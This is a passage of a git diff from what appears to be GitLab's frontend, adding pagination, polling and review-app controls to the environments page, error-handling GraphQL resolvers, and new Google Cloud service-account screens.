- <gl-link v-if="visible" :href="folderPath">{{ s__('Environments|Show all') }}</gl-link>
+ <gl-link v-if="visible" :href="folderPath">{{ $options.i18n.link }}</gl-link>
</div>
<gl-collapse :visible="visible" />
</div>
diff --git a/app/assets/javascripts/environments/components/new_environments_app.vue b/app/assets/javascripts/environments/components/new_environments_app.vue
index a5526f9cd71..8d94e7021ca 100644
--- a/app/assets/javascripts/environments/components/new_environments_app.vue
+++ b/app/assets/javascripts/environments/components/new_environments_app.vue
@@ -1,47 +1,205 @@
<script>
-import { GlBadge, GlTab, GlTabs } from '@gitlab/ui';
-import environmentAppQuery from '../graphql/queries/environmentApp.query.graphql';
+import { GlBadge, GlPagination, GlTab, GlTabs } from '@gitlab/ui';
+import { s__, __, sprintf } from '~/locale';
+import { updateHistory, setUrlParams, queryToObject } from '~/lib/utils/url_utility';
+import environmentAppQuery from '../graphql/queries/environment_app.query.graphql';
+import pollIntervalQuery from '../graphql/queries/poll_interval.query.graphql';
+import pageInfoQuery from '../graphql/queries/page_info.query.graphql';
import EnvironmentFolder from './new_environment_folder.vue';
+import EnableReviewAppModal from './enable_review_app_modal.vue';
export default {
components: {
EnvironmentFolder,
+ EnableReviewAppModal,
GlBadge,
+ GlPagination,
GlTab,
GlTabs,
},
apollo: {
environmentApp: {
query: environmentAppQuery,
+ variables() {
+ return {
+ scope: this.scope,
+ page: this.page ?? 1,
+ };
+ },
+ pollInterval() {
+ return this.interval;
+ },
},
+ interval: {
+ query: pollIntervalQuery,
+ },
+ pageInfo: {
+ query: pageInfoQuery,
+ },
+ },
+ inject: ['newEnvironmentPath', 'canCreateEnvironment'],
+ i18n: {
+ newEnvironmentButtonLabel: s__('Environments|New environment'),
+ reviewAppButtonLabel: s__('Environments|Enable review app'),
+ available: __('Available'),
+ stopped: __('Stopped'),
+ prevPage: __('Go to previous page'),
+ nextPage: __('Go to next page'),
+ next: __('Next'),
+ prev: __('Prev'),
+ goto: (page) => sprintf(__('Go to page %{page}'), { page }),
+ },
+ modalId: 'enable-review-app-info',
+ data() {
+ const { page = '1', scope = 'available' } = queryToObject(window.location.search);
+ return {
+ interval: undefined,
+ isReviewAppModalVisible: false,
+ page: parseInt(page, 10),
+ scope,
+ };
},
computed: {
+ canSetupReviewApp() {
+ return this.environmentApp?.reviewApp?.canSetupReviewApp;
+ },
folders() {
return this.environmentApp?.environments.filter((e) => e.size > 1) ?? [];
},
availableCount() {
return this.environmentApp?.availableCount;
},
+ addEnvironment() {
+ if (!this.canCreateEnvironment) {
+ return null;
+ }
+
+ return {
+ text: this.$options.i18n.newEnvironmentButtonLabel,
+ attributes: {
+ href: this.newEnvironmentPath,
+ category: 'primary',
+ variant: 'confirm',
+ },
+ };
+ },
+ openReviewAppModal() {
+ if (!this.canSetupReviewApp) {
+ return null;
+ }
+
+ return {
+ text: this.$options.i18n.reviewAppButtonLabel,
+ attributes: {
+ category: 'secondary',
+ variant: 'confirm',
+ },
+ };
+ },
+ stoppedCount() {
+ return this.environmentApp?.stoppedCount;
+ },
+ totalItems() {
+ return this.pageInfo?.total;
+ },
+ itemsPerPage() {
+ return this.pageInfo?.perPage;
+ },
+ },
+ mounted() {
+ window.addEventListener('popstate', this.syncPageFromQueryParams);
+ },
+ destroyed() {
+ window.removeEventListener('popstate', this.syncPageFromQueryParams);
+ this.$apollo.queries.environmentApp.stopPolling();
+ },
+ methods: {
+ showReviewAppModal() {
+ this.isReviewAppModalVisible = true;
+ },
+ setScope(scope) {
+ this.scope = scope;
+ this.resetPolling();
+ },
+ movePage(direction) {
+ this.moveToPage(this.pageInfo[`${direction}Page`]);
+ },
+ moveToPage(page) {
+ this.page = page;
+ updateHistory({
+ url: setUrlParams({ page: this.page }),
+ title: document.title,
+ });
+ this.resetPolling();
+ },
+ syncPageFromQueryParams() {
+ const { page = '1' } = queryToObject(window.location.search);
+ this.page = parseInt(page, 10);
+ },
+ resetPolling() {
+ this.$apollo.queries.environmentApp.stopPolling();
+ this.$nextTick(() => {
+ if (this.interval) {
+ this.$apollo.queries.environmentApp.startPolling(this.interval);
+ } else {
+ this.$apollo.queries.environmentApp.refetch({ scope: this.scope, page: this.page });
+ }
+ });
+ },
},
};
</script>
<template>
<div>
- <gl-tabs>
- <gl-tab>
+ <enable-review-app-modal
+ v-if="canSetupReviewApp"
+ v-model="isReviewAppModalVisible"
+ :modal-id="$options.modalId"
+ data-testid="enable-review-app-modal"
+ />
+ <gl-tabs
+ :action-secondary="addEnvironment"
+ :action-primary="openReviewAppModal"
+ sync-active-tab-with-query-params
+ query-param-name="scope"
+ @primary="showReviewAppModal"
+ >
+ <gl-tab query-param-value="available" @click="setScope('available')">
<template #title>
- <span>{{ __('Available') }}</span>
+ <span>{{ $options.i18n.available }}</span>
<gl-badge size="sm" class="gl-tab-counter-badge">
{{ availableCount }}
</gl-badge>
</template>
- <environment-folder
- v-for="folder in folders"
- :key="folder.name"
- class="gl-mb-3"
- :nested-environment="folder"
- />
+ </gl-tab>
+ <gl-tab query-param-value="stopped" @click="setScope('stopped')">
+ <template #title>
+ <span>{{ $options.i18n.stopped }}</span>
+ <gl-badge size="sm" class="gl-tab-counter-badge">
+ {{ stoppedCount }}
+ </gl-badge>
+ </template>
</gl-tab>
</gl-tabs>
+ <environment-folder
+ v-for="folder in folders"
+ :key="folder.name"
+ class="gl-mb-3"
+ :nested-environment="folder"
+ />
+ <gl-pagination
+ align="center"
+ :total-items="totalItems"
+ :per-page="itemsPerPage"
+ :value="page"
+ :next="$options.i18n.next"
+ :prev="$options.i18n.prev"
+ :label-previous-page="$options.prevPage"
+ :label-next-page="$options.nextPage"
+ :label-page="$options.goto"
+ @next="movePage('next')"
+ @previous="movePage('previous')"
+ @input="moveToPage"
+ />
</div>
</template>
diff --git a/app/assets/javascripts/environments/graphql/client.js b/app/assets/javascripts/environments/graphql/client.js
index c734c2fba0c..64b18c2003b 100644
--- a/app/assets/javascripts/environments/graphql/client.js
+++ b/app/assets/javascripts/environments/graphql/client.js
@@ -1,6 +1,7 @@
import VueApollo from 'vue-apollo';
import createDefaultClient from '~/lib/graphql';
-import environmentApp from './queries/environmentApp.query.graphql';
+import environmentApp from './queries/environment_app.query.graphql';
+import pageInfoQuery from './queries/page_info.query.graphql';
import { resolvers } from './resolvers';
import typeDefs from './typedefs.graphql';
@@ -19,6 +20,19 @@ export const apolloProvider = (endpoint) => {
stoppedCount: 0,
},
});
+
+ cache.writeQuery({
+ query: pageInfoQuery,
+ data: {
+ pageInfo: {
+ total: 0,
+ perPage: 20,
+ nextPage: 0,
+ previousPage: 0,
+ __typename: 'LocalPageInfo',
+ },
+ },
+ });
return new VueApollo({
defaultClient,
});
diff --git a/app/assets/javascripts/environments/graphql/mutations/set_environment_to_delete.mutation.graphql b/app/assets/javascripts/environments/graphql/mutations/set_environment_to_delete.mutation.graphql
new file mode 100644
index 00000000000..ea72067bd37
--- /dev/null
+++ b/app/assets/javascripts/environments/graphql/mutations/set_environment_to_delete.mutation.graphql
@@ -0,0 +1,3 @@
+mutation SetEnvironmentToDelete($environment: Environment) {
+ setEnvironmentToDelete(environment: $environment) @client
+}
diff --git a/app/assets/javascripts/environments/graphql/mutations/set_environment_to_rollback.mutation.graphql b/app/assets/javascripts/environments/graphql/mutations/set_environment_to_rollback.mutation.graphql
new file mode 100644
index 00000000000..aba978ed79e
--- /dev/null
+++ b/app/assets/javascripts/environments/graphql/mutations/set_environment_to_rollback.mutation.graphql
@@ -0,0 +1,3 @@
+mutation SetEnvironmentToRollback($environment: Environment) {
+ setEnvironmentToRollback(environment: $environment) @client
+}
diff --git a/app/assets/javascripts/environments/graphql/queries/environmentApp.query.graphql b/app/assets/javascripts/environments/graphql/queries/environmentApp.query.graphql
deleted file mode 100644
index faa76c0a42c..00000000000
--- a/app/assets/javascripts/environments/graphql/queries/environmentApp.query.graphql
+++ /dev/null
@@ -1,8 +0,0 @@
-query getEnvironmentApp {
- environmentApp @client {
- availableCount
- environments
- reviewApp
- stoppedCount
- }
-}
diff --git a/app/assets/javascripts/environments/graphql/queries/environment_app.query.graphql b/app/assets/javascripts/environments/graphql/queries/environment_app.query.graphql
new file mode 100644
index 00000000000..2c17c42dd6d
--- /dev/null
+++ b/app/assets/javascripts/environments/graphql/queries/environment_app.query.graphql
@@ -0,0 +1,9 @@
+query getEnvironmentApp($page: Int, $scope: String) {
+ environmentApp(page: $page, scope: $scope) @client {
+ availableCount
+ stoppedCount
+ environments
+ reviewApp
+ stoppedCount
+ }
+}
diff --git a/app/assets/javascripts/environments/graphql/queries/environment_to_delete.query.graphql b/app/assets/javascripts/environments/graphql/queries/environment_to_delete.query.graphql
new file mode 100644
index 00000000000..5d39de8a0f1
--- /dev/null
+++ b/app/assets/javascripts/environments/graphql/queries/environment_to_delete.query.graphql
@@ -0,0 +1,7 @@
+query environmentToDelete {
+ environmentToDelete @client {
+ id
+ name
+ deletePath
+ }
+}
diff --git a/app/assets/javascripts/environments/graphql/queries/environment_to_rollback.query.graphql b/app/assets/javascripts/environments/graphql/queries/environment_to_rollback.query.graphql
new file mode 100644
index 00000000000..f7586e27665
--- /dev/null
+++ b/app/assets/javascripts/environments/graphql/queries/environment_to_rollback.query.graphql
@@ -0,0 +1,7 @@
+query environmentToRollback {
+ environmentToRollback @client {
+ id
+ name
+ lastDeployment
+ }
+}
diff --git a/app/assets/javascripts/environments/graphql/queries/page_info.query.graphql b/app/assets/javascripts/environments/graphql/queries/page_info.query.graphql
new file mode 100644
index 00000000000..d77ca05d46f
--- /dev/null
+++ b/app/assets/javascripts/environments/graphql/queries/page_info.query.graphql
@@ -0,0 +1,8 @@
+query getPageInfo {
+ pageInfo @client {
+ total
+ perPage
+ nextPage
+ previousPage
+ }
+}
diff --git a/app/assets/javascripts/environments/graphql/queries/poll_interval.query.graphql b/app/assets/javascripts/environments/graphql/queries/poll_interval.query.graphql
new file mode 100644
index 00000000000..28afc30a0dd
--- /dev/null
+++ b/app/assets/javascripts/environments/graphql/queries/poll_interval.query.graphql
@@ -0,0 +1,3 @@
+query pollInterval {
+ interval @client
+}
diff --git a/app/assets/javascripts/environments/graphql/resolvers.js b/app/assets/javascripts/environments/graphql/resolvers.js
index 8322b806370..9ebbc0ad1f8 100644
--- a/app/assets/javascripts/environments/graphql/resolvers.js
+++ b/app/assets/javascripts/environments/graphql/resolvers.js
@@ -1,5 +1,20 @@
import axios from '~/lib/utils/axios_utils';
-import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+import { s__ } from '~/locale';
+import {
+ convertObjectPropsToCamelCase,
+ parseIntPagination,
+ normalizeHeaders,
+} from '~/lib/utils/common_utils';
+
+import pollIntervalQuery from './queries/poll_interval.query.graphql';
+import environmentToRollbackQuery from './queries/environment_to_rollback.query.graphql';
+import environmentToDeleteQuery from './queries/environment_to_delete.query.graphql';
+import pageInfoQuery from './queries/page_info.query.graphql';
+
+const buildErrors = (errors = []) => ({
+ errors,
+ __typename: 'LocalEnvironmentErrors',
+});
const mapNestedEnvironment = (env) => ({
...convertObjectPropsToCamelCase(env, { deep: true }),
@@ -12,17 +27,34 @@ const mapEnvironment = (env) => ({
export const resolvers = (endpoint) => ({
Query: {
- environmentApp() {
- return axios.get(endpoint, { params: { nested: true } }).then((res) => ({
- availableCount: res.data.available_count,
- environments: res.data.environments.map(mapNestedEnvironment),
- reviewApp: {
- ...convertObjectPropsToCamelCase(res.data.review_app),
- __typename: 'ReviewApp',
- },
- stoppedCount: res.data.stopped_count,
- __typename: 'LocalEnvironmentApp',
- }));
+ environmentApp(_context, { page, scope }, { cache }) {
+ return axios.get(endpoint, { params: { nested: true, page, scope } }).then((res) => {
+ const headers = normalizeHeaders(res.headers);
+ const interval = headers['POLL-INTERVAL'];
+ const pageInfo = { ...parseIntPagination(headers), __typename: 'LocalPageInfo' };
+
+ if (interval) {
+ cache.writeQuery({ query: pollIntervalQuery, data: { interval: parseFloat(interval) } });
+ } else {
+ cache.writeQuery({ query: pollIntervalQuery, data: { interval: undefined } });
+ }
+
+ cache.writeQuery({
+ query: pageInfoQuery,
+ data: { pageInfo },
+ });
+
+ return {
+ availableCount: res.data.available_count,
+ environments: res.data.environments.map(mapNestedEnvironment),
+ reviewApp: {
+ ...convertObjectPropsToCamelCase(res.data.review_app),
+ __typename: 'ReviewApp',
+ },
+ stoppedCount: res.data.stopped_count,
+ __typename: 'LocalEnvironmentApp',
+ };
+ });
},
folder(_, { environment: { folderPath } }) {
return axios.get(folderPath, { params: { per_page: 3 } }).then((res) => ({
@@ -32,19 +64,72 @@ export const resolvers = (endpoint) => ({
__typename: 'LocalEnvironmentFolder',
}));
},
+ isLastDeployment(_, { environment }) {
+ // eslint-disable-next-line @gitlab/require-i18n-strings
+ return environment?.lastDeployment?.['last?'];
+ },
},
- Mutations: {
- stopEnvironment(_, { environment: { stopPath } }) {
- return axios.post(stopPath);
+ Mutation: {
+ stopEnvironment(_, { environment }) {
+ return axios
+ .post(environment.stopPath)
+ .then(() => buildErrors())
+ .catch(() => {
+ return buildErrors([
+ s__('Environments|An error occurred while stopping the environment, please try again'),
+ ]);
+ });
},
deleteEnvironment(_, { environment: { deletePath } }) {
- return axios.delete(deletePath);
+ return axios
+ .delete(deletePath)
+ .then(() => buildErrors())
+ .catch(() =>
+ buildErrors([
+ s__(
+ 'Environments|An error occurred while deleting the environment. Check if the environment stopped; if not, stop it and try again.',
+ ),
+ ]),
+ );
+ },
+ rollbackEnvironment(_, { environment, isLastDeployment }) {
+ return axios
+ .post(environment?.retryUrl)
+ .then(() => buildErrors())
+ .catch(() => {
+ buildErrors([
+ isLastDeployment
+ ? s__(
+ 'Environments|An error occurred while re-deploying the environment, please try again',
+ )
+ : s__(
+ 'Environments|An error occurred while rolling back the environment, please try again',
+ ),
+ ]);
+ });
+ },
+ setEnvironmentToDelete(_, { environment }, { client }) {
+ client.writeQuery({
+ query: environmentToDeleteQuery,
+ data: { environmentToDelete: environment },
+ });
},
- rollbackEnvironment(_, { environment: { retryUrl } }) {
- return axios.post(retryUrl);
+ setEnvironmentToRollback(_, { environment }, { client }) {
+ client.writeQuery({
+ query: environmentToRollbackQuery,
+ data: { environmentToRollback: environment },
+ });
},
cancelAutoStop(_, { environment: { autoStopPath } }) {
- return axios.post(autoStopPath);
+ return axios
+ .post(autoStopPath)
+ .then(() => buildErrors())
+ .catch((err) =>
+ buildErrors([
+ err?.response?.data?.message ||
+ s__('Environments|An error occurred while canceling the auto stop, please try again'),
+ ]),
+ );
},
},
});
diff --git a/app/assets/javascripts/environments/graphql/typedefs.graphql b/app/assets/javascripts/environments/graphql/typedefs.graphql
index 49ea719449e..4a3abb0e89f 100644
--- a/app/assets/javascripts/environments/graphql/typedefs.graphql
+++ b/app/assets/javascripts/environments/graphql/typedefs.graphql
@@ -9,12 +9,29 @@ type LocalEnvironment {
autoStopPath: String
}
+input LocalEnvironmentInput {
+ id: Int!
+ globalId: ID!
+ name: String!
+ folderPath: String
+ stopPath: String
+ deletePath: String
+ retryUrl: String
+ autoStopPath: String
+}
+
type NestedLocalEnvironment {
name: String!
size: Int!
latest: LocalEnvironment!
}
+input NestedLocalEnvironmentInput {
+ name: String!
+ size: Int!
+ latest: LocalEnvironmentInput!
+}
+
type LocalEnvironmentFolder {
environments: [LocalEnvironment!]!
availableCount: Int!
@@ -33,3 +50,32 @@ type LocalEnvironmentApp {
environments: [NestedLocalEnvironment!]!
reviewApp: ReviewApp!
}
+
+type LocalErrors {
+ errors: [String!]!
+}
+
+type LocalPageInfo {
+ total: Int!
+ perPage: Int!
+ nextPage: Int!
+ previousPage: Int!
+}
+
+extend type Query {
+ environmentApp(page: Int, scope: String): LocalEnvironmentApp
+ folder(environment: NestedLocalEnvironmentInput): LocalEnvironmentFolder
+ environmentToDelete: LocalEnvironment
+ pageInfo: LocalPageInfo
+ environmentToRollback: LocalEnvironment
+ isLastDeployment: Boolean
+}
+
+extend type Mutation {
+ stopEnvironment(environment: LocalEnvironmentInput): LocalErrors
+ deleteEnvironment(environment: LocalEnvironmentInput): LocalErrors
+ rollbackEnvironment(environment: LocalEnvironmentInput): LocalErrors
+ cancelAutoStop(environment: LocalEnvironmentInput): LocalErrors
+ setEnvironmentToDelete(environment: LocalEnvironmentInput): LocalErrors
+ setEnvironmentToRollback(environment: LocalEnvironmentInput): LocalErrors
+}
diff --git a/app/assets/javascripts/error_tracking/components/error_details.vue b/app/assets/javascripts/error_tracking/components/error_details.vue
index 4adbf5362b7..e00fec6fddf 100644
--- a/app/assets/javascripts/error_tracking/components/error_details.vue
+++ b/app/assets/javascripts/error_tracking/components/error_details.vue
@@ -17,7 +17,7 @@ import createFlash from '~/flash';
import { __, sprintf, n__ } from '~/locale';
import Tracking from '~/tracking';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
-import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue';
import TrackEventDirective from '~/vue_shared/directives/track_event';
import query from '../queries/details.query.graphql';
import {
diff --git a/app/assets/javascripts/error_tracking/queries/details.query.graphql b/app/assets/javascripts/error_tracking/queries/details.query.graphql
index af386528f00..f70e09d76f7 100644
--- a/app/assets/javascripts/error_tracking/queries/details.query.graphql
+++ b/app/assets/javascripts/error_tracking/queries/details.query.graphql
@@ -1,5 +1,6 @@
query errorDetails($fullPath: ID!, $errorId: ID!) {
project(fullPath: $fullPath) {
+ id
sentryErrors {
detailedError(id: $errorId) {
id
diff --git a/app/assets/javascripts/experimentation/utils.js b/app/assets/javascripts/experimentation/utils.js
index dcb6a8e20a3..69fa7adc653 100644
--- a/app/assets/javascripts/experimentation/utils.js
+++ b/app/assets/javascripts/experimentation/utils.js
@@ -1,5 +1,5 @@
-// This file only applies to use of experiments through https://gitlab.com/gitlab-org/gitlab-experiment
-import { get } from 'lodash';
+// This file only applies to use of experiments through https://gitlab.com/gitlab-org/ruby/gems/gitlab-experiment
+import { get, mapValues, pick } from 'lodash';
import { DEFAULT_VARIANT, CANDIDATE_VARIANT, TRACKING_CONTEXT_SCHEMA } from './constants';
function getExperimentsData() {
@@ -8,19 +8,18 @@ function getExperimentsData() {
// Pull from preferred window.gl.experiments
const experimentsFromGl = get(window, ['gl', 'experiments'], {});
- return { ...experimentsFromGon, ...experimentsFromGl };
-}
-
-function convertExperimentDataToExperimentContext(experimentData) {
- // Bandaid to allow-list only the properties which the current gitlab_experiment context schema suppports.
+ // Bandaid to allow-list only the properties which the current gitlab_experiment
+ // context schema suppports, since we most often use this data to create that
+ // Snowplow context.
// See TRACKING_CONTEXT_SCHEMA for current version (1-0-0)
// https://gitlab.com/gitlab-org/iglu/-/blob/master/public/schemas/com.gitlab/gitlab_experiment/jsonschema/1-0-0
- const { experiment: experimentName, key, variant, migration_keys } = experimentData;
+ return mapValues({ ...experimentsFromGon, ...experimentsFromGl }, (xp) => {
+ return pick(xp, ['experiment', 'key', 'variant', 'migration_keys']);
+ });
+}
- return {
- schema: TRACKING_CONTEXT_SCHEMA,
- data: { experiment: experimentName, key, variant, migration_keys },
- };
+function createGitlabExperimentContext(experimentData) {
+ return { schema: TRACKING_CONTEXT_SCHEMA, data: experimentData };
}
export function getExperimentData(experimentName) {
@@ -28,10 +27,10 @@ export function getExperimentData(experimentName) {
}
export function getAllExperimentContexts() {
- return Object.values(getExperimentsData()).map(convertExperimentDataToExperimentContext);
+ return Object.values(getExperimentsData()).map(createGitlabExperimentContext);
}
-export function isExperimentVariant(experimentName, variantName) {
+export function isExperimentVariant(experimentName, variantName = CANDIDATE_VARIANT) {
return getExperimentData(experimentName)?.variant === variantName;
}
diff --git a/app/assets/javascripts/feature_flags/components/form.vue b/app/assets/javascripts/feature_flags/components/form.vue
index 29e82289107..26da0d56f9a 100644
--- a/app/assets/javascripts/feature_flags/components/form.vue
+++ b/app/assets/javascripts/feature_flags/components/form.vue
@@ -142,7 +142,14 @@ export default {
return !this.$options.rolloutPercentageRegex.test(percentage);
}),
onFormStrategyChange(strategy, index) {
+ const currentUserListId = this.filteredStrategies[index]?.userList?.id;
+ const newUserListId = strategy?.userList?.id;
+
Object.assign(this.filteredStrategies[index], strategy);
+
+ if (currentUserListId !== newUserListId) {
+ this.formStrategies = [...this.formStrategies];
+ }
},
},
};
diff --git a/app/assets/javascripts/filtered_search/available_dropdown_mappings.js b/app/assets/javascripts/filtered_search/available_dropdown_mappings.js
index e0281b8f443..3cd4d48a4a3 100644
--- a/app/assets/javascripts/filtered_search/available_dropdown_mappings.js
+++ b/app/assets/javascripts/filtered_search/available_dropdown_mappings.js
@@ -1,4 +1,4 @@
-import { sortMilestonesByDueDate } from '~/milestones/milestone_utils';
+import { sortMilestonesByDueDate } from '~/milestones/utils';
import { mergeUrlParams } from '../lib/utils/url_utility';
import DropdownAjaxFilter from './dropdown_ajax_filter';
import DropdownEmoji from './dropdown_emoji';
diff --git a/app/assets/javascripts/filtered_search/constants.js b/app/assets/javascripts/filtered_search/constants.js
index 08736b09407..e2d6936acbd 100644
--- a/app/assets/javascripts/filtered_search/constants.js
+++ b/app/assets/javascripts/filtered_search/constants.js
@@ -11,3 +11,10 @@ export const FILTER_TYPE = {
};
export const MAX_HISTORY_SIZE = 5;
+
+export const FILTERED_SEARCH = {
+ MERGE_REQUESTS: 'merge_requests',
+ ISSUES: 'issues',
+ ADMIN_RUNNERS: 'admin/runners',
+ GROUP_RUNNERS_ANCHOR: 'runners-settings',
+};
diff --git a/app/assets/javascripts/flash.js b/app/assets/javascripts/flash.js
index 1287a7ed746..f0ef55f73eb 100644
--- a/app/assets/javascripts/flash.js
+++ b/app/assets/javascripts/flash.js
@@ -62,7 +62,7 @@ const createFlashEl = (message, type) => `
</div>
`;
-const removeFlashClickListener = (flashEl, fadeTransition) => {
+const addDismissFlashClickListener = (flashEl, fadeTransition) => {
// There are some flash elements which do not have a closeEl.
// https://gitlab.com/gitlab-org/gitlab/blob/763426ef344488972eb63ea5be8744e0f8459e6b/ee/app/views/layouts/header/_read_only_banner.html.haml
getCloseEl(flashEl)?.addEventListener('click', () => hideFlash(flashEl, fadeTransition));
@@ -113,7 +113,7 @@ const createFlash = function createFlash({
}
}
- removeFlashClickListener(flashEl, fadeTransition);
+ addDismissFlashClickListener(flashEl, fadeTransition);
flashContainer.classList.add('gl-display-block');
@@ -130,10 +130,8 @@ const createFlash = function createFlash({
export {
createFlash as default,
- createFlashEl,
- createAction,
hideFlash,
- removeFlashClickListener,
+ addDismissFlashClickListener,
FLASH_TYPES,
FLASH_CLOSED_EVENT,
};
diff --git a/app/assets/javascripts/google_cloud/components/app.vue b/app/assets/javascripts/google_cloud/components/app.vue
index 1e5be9df019..64784755b66 100644
--- a/app/assets/javascripts/google_cloud/components/app.vue
+++ b/app/assets/javascripts/google_cloud/components/app.vue
@@ -1,22 +1,42 @@
<script>
-import { GlTab, GlTabs } from '@gitlab/ui';
+import { __ } from '~/locale';
+
+import Home from './home.vue';
import IncubationBanner from './incubation_banner.vue';
-import ServiceAccounts from './service_accounts.vue';
+import ServiceAccountsForm from './service_accounts_form.vue';
+import NoGcpProjects from './errors/no_gcp_projects.vue';
+import GcpError from './errors/gcp_error.vue';
+
+const SCREEN_GCP_ERROR = 'gcp_error';
+const SCREEN_HOME = 'home';
+const SCREEN_NO_GCP_PROJECTS = 'no_gcp_projects';
+const SCREEN_SERVICE_ACCOUNTS_FORM = 'service_accounts_form';
export default {
- components: { GlTab, GlTabs, IncubationBanner, ServiceAccounts },
+ components: {
+ IncubationBanner,
+ },
+ inheritAttrs: false,
props: {
- serviceAccounts: {
- type: Array,
+ screen: {
required: true,
- },
- createServiceAccountUrl: {
type: String,
- required: true,
},
- emptyIllustrationUrl: {
- type: String,
- required: true,
+ },
+ computed: {
+ mainComponent() {
+ switch (this.screen) {
+ case SCREEN_HOME:
+ return Home;
+ case SCREEN_GCP_ERROR:
+ return GcpError;
+ case SCREEN_NO_GCP_PROJECTS:
+ return NoGcpProjects;
+ case SCREEN_SERVICE_ACCOUNTS_FORM:
+ return ServiceAccountsForm;
+ default:
+ throw new Error(__('Unknown screen'));
+ }
},
},
methods: {
@@ -34,17 +54,6 @@ export default {
:report-bug-url="feedbackUrl('report_bug')"
:feature-request-url="feedbackUrl('feature_request')"
/>
- <gl-tabs>
- <gl-tab :title="__('Configuration')">
- <service-accounts
- class="gl-mx-3"
- :list="serviceAccounts"
- :create-url="createServiceAccountUrl"
- :empty-illustration-url="emptyIllustrationUrl"
- />
- </gl-tab>
- <gl-tab :title="__('Deployments')" disabled />
- <gl-tab :title="__('Services')" disabled />
- </gl-tabs>
+ <component :is="mainComponent" v-bind="$attrs" />
</div>
</template>
diff --git a/app/assets/javascripts/google_cloud/components/errors/gcp_error.vue b/app/assets/javascripts/google_cloud/components/errors/gcp_error.vue
new file mode 100644
index 00000000000..90aa0e1ae68
--- /dev/null
+++ b/app/assets/javascripts/google_cloud/components/errors/gcp_error.vue
@@ -0,0 +1,29 @@
+<script>
+import { GlAlert } from '@gitlab/ui';
+import { __ } from '~/locale';
+
+export default {
+ components: { GlAlert },
+ props: {
+ error: {
+ type: String,
+ required: true,
+ },
+ },
+ i18n: {
+ title: __('Google Cloud project misconfigured'),
+ description: __(
+ 'GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:',
+ ),
+ },
+};
+</script>
+
+<template>
+ <gl-alert :dismissible="false" variant="warning" :title="$options.i18n.title">
+ {{ $options.i18n.description }}
+ <blockquote>
+ <code>{{ error }}</code>
+ </blockquote>
+ </gl-alert>
+</template>
diff --git a/app/assets/javascripts/google_cloud/components/errors/no_gcp_projects.vue b/app/assets/javascripts/google_cloud/components/errors/no_gcp_projects.vue
new file mode 100644
index 00000000000..da229ac3f0e
--- /dev/null
+++ b/app/assets/javascripts/google_cloud/components/errors/no_gcp_projects.vue
@@ -0,0 +1,26 @@
+<script>
+import { GlAlert, GlButton } from '@gitlab/ui';
+import { __ } from '~/locale';
+
+export default {
+ components: { GlAlert, GlButton },
+ i18n: {
+ title: __('Google Cloud project required'),
+ description: __(
+ 'You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page.',
+ ),
+ createLabel: __('Create Google Cloud project'),
+ },
+};
+</script>
+
+<template>
+ <gl-alert :dismissible="false" variant="warning" :title="$options.i18n.title">
+ {{ $options.i18n.description }}
+ <template #actions>
+ <gl-button href="https://console.cloud.google.com/projectcreate" target="_blank">
+ {{ $options.i18n.createLabel }}
+ </gl-button>
+ </template>
+ </gl-alert>
+</template>
diff --git a/app/assets/javascripts/google_cloud/components/home.vue b/app/assets/javascripts/google_cloud/components/home.vue
new file mode 100644
index 00000000000..05f39de66ee
--- /dev/null
+++ b/app/assets/javascripts/google_cloud/components/home.vue
@@ -0,0 +1,41 @@
+<script>
+import { GlTabs, GlTab } from '@gitlab/ui';
+import ServiceAccountsList from './service_accounts_list.vue';
+
+export default {
+ components: {
+ GlTabs,
+ GlTab,
+ ServiceAccountsList,
+ },
+ props: {
+ serviceAccounts: {
+ type: Array,
+ required: true,
+ },
+ createServiceAccountUrl: {
+ type: String,
+ required: true,
+ },
+ emptyIllustrationUrl: {
+ type: String,
+ required: true,
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-tabs>
+ <gl-tab :title="__('Configuration')">
+ <service-accounts-list
+ class="gl-mx-4"
+ :list="serviceAccounts"
+ :create-url="createServiceAccountUrl"
+ :empty-illustration-url="emptyIllustrationUrl"
+ />
+ </gl-tab>
+ <gl-tab :title="__('Deployments')" disabled />
+ <gl-tab :title="__('Services')" disabled />
+ </gl-tabs>
+</template>
diff --git a/app/assets/javascripts/google_cloud/components/service_accounts_form.vue b/app/assets/javascripts/google_cloud/components/service_accounts_form.vue
new file mode 100644
index 00000000000..e7a09668473
--- /dev/null
+++ b/app/assets/javascripts/google_cloud/components/service_accounts_form.vue
@@ -0,0 +1,70 @@
+<script>
+import { GlButton, GlFormGroup, GlFormSelect } from '@gitlab/ui';
+import { __ } from '~/locale';
+
+export default {
+ components: { GlButton, GlFormGroup, GlFormSelect },
+ props: {
+ gcpProjects: { required: true, type: Array },
+ environments: { required: true, type: Array },
+ cancelPath: { required: true, type: String },
+ },
+ i18n: {
+ title: __('Create service account'),
+ gcpProjectLabel: __('Google Cloud project'),
+ gcpProjectDescription: __(
+ 'New service account is generated for the selected Google Cloud project',
+ ),
+ environmentLabel: __('Environment'),
+ environmentDescription: __('Generated service account is linked to the selected environment'),
+ submitLabel: __('Create service account'),
+ cancelLabel: __('Cancel'),
+ },
+};
+</script>
+
+<template>
+ <div>
+ <header class="gl-my-5 gl-border-b-1 gl-border-b-gray-100 gl-border-b-solid">
+ <h2 class="gl-font-size-h1">{{ $options.i18n.title }}</h2>
+ </header>
+ <gl-form-group
+ label-for="gcp_project"
+ :label="$options.i18n.gcpProjectLabel"
+ :description="$options.i18n.gcpProjectDescription"
+ >
+ <gl-form-select id="gcp_project" name="gcp_project" required>
+ <option
+ v-for="gcpProject in gcpProjects"
+ :key="gcpProject.project_id"
+ :value="gcpProject.project_id"
+ >
+ {{ gcpProject.name }}
+ </option>
+ </gl-form-select>
+ </gl-form-group>
+ <gl-form-group
+ label-for="environment"
+ :label="$options.i18n.environmentLabel"
+ :description="$options.i18n.environmentDescription"
+ >
+ <gl-form-select id="environment" name="environment" required>
+ <option value="*">{{ __('All') }}</option>
+ <option
+ v-for="environment in environments"
+ :key="environment.name"
+ :value="environment.name"
+ >
+ {{ environment.name }}
+ </option>
+ </gl-form-select>
+ </gl-form-group>
+
+ <div class="form-actions row">
+ <gl-button type="submit" category="primary" variant="confirm">
+ {{ $options.i18n.submitLabel }}
